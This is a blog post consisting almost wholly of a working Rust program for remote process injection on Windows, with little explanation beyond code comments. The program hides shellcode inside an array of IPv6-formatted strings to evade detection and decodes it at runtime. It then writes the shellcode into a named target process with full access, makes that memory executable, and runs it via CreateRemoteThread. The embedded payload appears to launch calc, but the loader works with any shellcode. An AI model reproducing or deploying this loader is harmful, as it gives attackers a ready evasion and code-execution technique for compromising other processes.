Post

Process-Injection (Local)

Process-Injection (Local)

Process-Injection (Local)

main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
use winapi::um::winbase::lstrcmpW;
use winapi::um::winnt::{HANDLE, PVOID, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS, MEM_COMMIT, MEM_RESERVE};
use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory, VirtualProtectEx};
use winapi::um::processthreadsapi::{CreateRemoteThread, OpenProcess};
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS};
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::shared::minwindef::{DWORD, FALSE};
use winapi::um::winuser::CharLowerW;
use std::ffi::CString;
use std::ptr;
use std::mem;
use std::io::{self, Write};
use widestring::WideCString;
use winapi::ctypes::wchar_t;
use winapi::um::errhandlingapi::GetLastError;

// Declare array with ipv6 shellcode obfuscation
const IPV6_ARRAY: [&str; 17] = [
    "FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
    "AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
    "8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
    "8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
    "595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
    "D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300"
];
const NUMBER_OF_ELEMENTS: usize = 17;

// Decode obfuscation at runtime
fn ipv6_deobfuscation(ipv6_array: &[&'static str], size: usize) -> Vec<u8> {
    unsafe {
        let ntdll = CString::new("NTDLL").unwrap();
        let hmodule = GetModuleHandleA(ntdll.as_ptr());
        let rtl_string = CString::new("RtlIpv6StringToAddressA").unwrap();
        let func: extern "system" fn(*const i8, *mut *const i8, *mut u8) -> i32 =
            mem::transmute(GetProcAddress(hmodule, rtl_string.as_ptr()));

        let mut buffer = vec![0u8; size * 16];
        let mut ptr = buffer.as_mut_ptr();

        for ip in ipv6_array.iter().take(size) {
            let c_ip = CString::new(*ip).unwrap();
            let mut terminator: *const i8 = ptr::null();
            if func(c_ip.as_ptr(), &mut terminator, ptr) != 0 {
                panic!("RtlIpv6StringToAddressA failed");
            }
            ptr = ptr.add(16);
        }

        buffer
    }
}

// The function parameters:
    // - proc_name, is a string type that will return the process name
    // - Result, will return DWORD, HANDLE > when OK
fn get_remote_process_handle(proc_name: &str) -> Result<(DWORD, HANDLE), String> {

    unsafe {
        // Initialize the PROCESSENTRY32W structure used to store process information
        let mut process_entry: PROCESSENTRY32W = mem::zeroed();

        // Set the size of the structure (required before calling Process32FirstW)
        process_entry.dwSize = mem::size_of::<PROCESSENTRY32W>() as DWORD;

        // Set the size of the structure (required before calling Process32FirstW)
        let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if snapshot == INVALID_HANDLE_VALUE {
            return Err(format!(
                "[CreateToolhelp32Snapshot] Failed! Error: {}", GetLastError()
            ));
        }

        // Retrieve the first process from the snapshot
        if Process32FirstW(snapshot, &mut process_entry) == FALSE {
            CloseHandle(snapshot);
            return Err(format!("Process32FirstW failed: {}", GetLastError()));
        }

        // Convert the target process name to lowercase for case-insensitive comparison
        let lwr_process_name = WideCString::from_str(proc_name.to_lowercase()).unwrap();
        let lwr_process_name_ptr = lwr_process_name.as_ptr();

        loop {
            // Create a buffer to store the lowercase version of the current process name
            let mut lower_process_name: [wchar_t; 520] = [0; 520];

            // Windows strings are null-terminated, so stop when a zero value is found
            let mut dw_size = 0;

            // Count characters until reaching the null terminator or the buffer limit
            while process_entry.szExeFile[dw_size] != 0 && dw_size < 520 {
                dw_size += 1;
            }

            // Convert the current process name to lowercase for comparison
            if dw_size < 520 {
                for i in 0..dw_size {
                    lower_process_name[i] = CharLowerW(process_entry.szExeFile[i] as *mut _) as wchar_t;
                }
                // Add the null terminator required by Windows strings
                lower_process_name[dw_size] = 0;
            }

            // Compare the lowercase process name with the target process name
            if lstrcmpW(lower_process_name.as_ptr(), lwr_process_name_ptr) == 0 {
                // Retrieve Process ID of current loaded process
                let pid = process_entry.th32ProcessID;
                // Access Process
                let h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        
                CloseHandle(snapshot);

                // Checks if handle is valid
                if h_process.is_null() {
                    return Err(format!("[OpenProcess] failed: {}", GetLastError()));
                }

                // Return pid
                return Ok((pid, h_process));

            }
            // Move to the next process in the snapshot
            if Process32NextW(snapshot, &mut process_entry) == FALSE {
                break;
            }

        }
        CloseHandle(snapshot);
        Err("No processes Found".to_string())
    }
}
fn remote_process_injection(h_process: HANDLE, shellcode: &[u8]) -> Result<(), String> {
    unsafe {
        // Allocate memory inside the target process address space for the shellcode
        let shellcode_mem_addr = VirtualAllocEx(h_process, ptr::null_mut(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        if shellcode_mem_addr.is_null() {
            return Err(format!("[VirtualAllocEx] failed: {}", GetLastError()));
        }

        println!("[+] Allocated Memory at: 0x{:?}", shellcode_mem_addr);
        print!("[+] Press <Enter> To Write Shellcode");

        // Wait for user confirmation before writing shellcode
        io::stdout().flush().unwrap();
        let mut input = String::new();
        io::stdin().read_line(&mut input).unwrap();

        let mut bytes_written = 0;
        // Copy shellcode bytes from the current process into the allocated memory of the target process
        if WriteProcessMemory(h_process, shellcode_mem_addr, shellcode.as_ptr() as PVOID, shellcode.len(), &mut bytes_written) == FALSE || bytes_written != shellcode.len() {
            return Err(format!("[WriteProcessMemory] failed: {}", GetLastError()));
        }

        println!("[+] Written {} bytes to Shellcode", bytes_written);

        let mut old_protect: DWORD = 0;
        if VirtualProtectEx(h_process, shellcode_mem_addr, shellcode.len(), PAGE_EXECUTE_READWRITE, &mut old_protect) == FALSE {
            return Err(format!("[VirtualProtectEx] failed: {}", GetLastError()));
        }
        println!("[+] Executing Shellcode!");

        // Create a thread inside the target process starting at the shellcode address
        // transmute() changes the pointer type from a memory pointer to a function pointer.
        let thread = CreateRemoteThread(h_process, ptr::null_mut(), 0, Some(mem::transmute(shellcode_mem_addr)), ptr::null_mut(), 0, ptr::null_mut());

        if thread.is_null() {
            return Err(format!("[CreateRemoteThread] failed: {}", GetLastError()));
        }

        println!("[+] Completed Injection!");
        Ok(())

    }
}

fn main() {
    let args: Vec<String> = std::env::args().collect();

    if args.len() < 2 {
        println!("[+] Usage: {} <process-name>", args[0]);
        return;
    }

    let shellcode = ipv6_deobfuscation(&IPV6_ARRAY, NUMBER_OF_ELEMENTS);
    println!("[+] Decrypted Shellcode At: 0x{:?}", shellcode.as_ptr());

    println!("[i] Searching For Target Process Id Of \"{}\" ... ", args[1]);
    let (_pid, h_process) = match get_remote_process_handle(&args[1]) {
        Ok((pid, handle)) => {
            println!("[+] Found Target Process Id Of {}", pid);
            (pid, handle)
        },
        Err(e) => {
            println!("[!] Process Not Found! Error: {}", e);
            return;
        }
    };

    if let Err(e) = remote_process_injection(h_process, &shellcode) { println!("[!] Error: {}", e)}

    unsafe {
        CloseHandle(h_process);
    }

    print!("[!] Press Enter To Quit ... ");
    io::stdout().flush().unwrap();
    let mut input = String::new();
    io::stdin().read_line(&mut input).unwrap();
}
This post is licensed under CC BY 4.0 by the author.